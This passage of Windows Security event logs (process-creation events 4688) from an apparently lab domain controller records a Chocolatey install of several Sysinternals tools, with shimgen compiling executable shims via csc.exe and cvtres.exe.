/NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESAB6D.tmp" "c:\ProgramData\chocolatey\bin\CSC710406DBB844462DBD4FEAF7818D2A53.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:55 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246309 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x440 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x2d4 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:55 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246308 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x2d4 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x360 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\accesschk64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123401_5524\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123401_5524\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123401_5524\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123401_5524\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123401_5524\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:55 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246307 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x288 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x360 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:55 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246306 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x360 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\accesschk64.exe" --output="C:\ProgramData\chocolatey\bin\accesschk64.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\accesschk64.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:55 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246305 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf08 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x5f0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESAA83.tmp" "c:\ProgramData\chocolatey\bin\CSC707438D029B4D9FA1C7C797953E7EF3.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:55 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246304 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf20 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x5f0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:55 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246303 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x5f0 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xdd4 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\accesschk.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123401_3180\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123401_3180\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123401_3180\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123401_3180\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123401_3180\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:55 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246302 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe9c - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xdd4 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:55 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246301 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xdd4 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\accesschk.exe" --output="C:\ProgramData\chocolatey\bin\accesschk.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\accesschk.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:56 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246339 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xaf4 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xb88 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:56 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246338 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb88 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xb54 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\adrestore.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123402_9586\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123402_9586\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123402_9586\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123402_9586\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123402_9586\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:56 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246337 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd2c - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xb54 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:56 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246336 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb54 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\adrestore.exe" --output="C:\ProgramData\chocolatey\bin\adrestore.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\adrestore.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:56 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246335 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb4c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x888 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESB001.tmp" "c:\ProgramData\chocolatey\bin\CSCCB404BFE86E14BD48710B068D1A3FBB.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:56 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246334 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xee8 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x888 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:56 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246333 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x888 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x2d4 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\ADInsight64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123402_7242\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123402_7242\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123402_7242\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123402_7242\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123402_7242\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:56 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246332 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x57c - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x2d4 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups 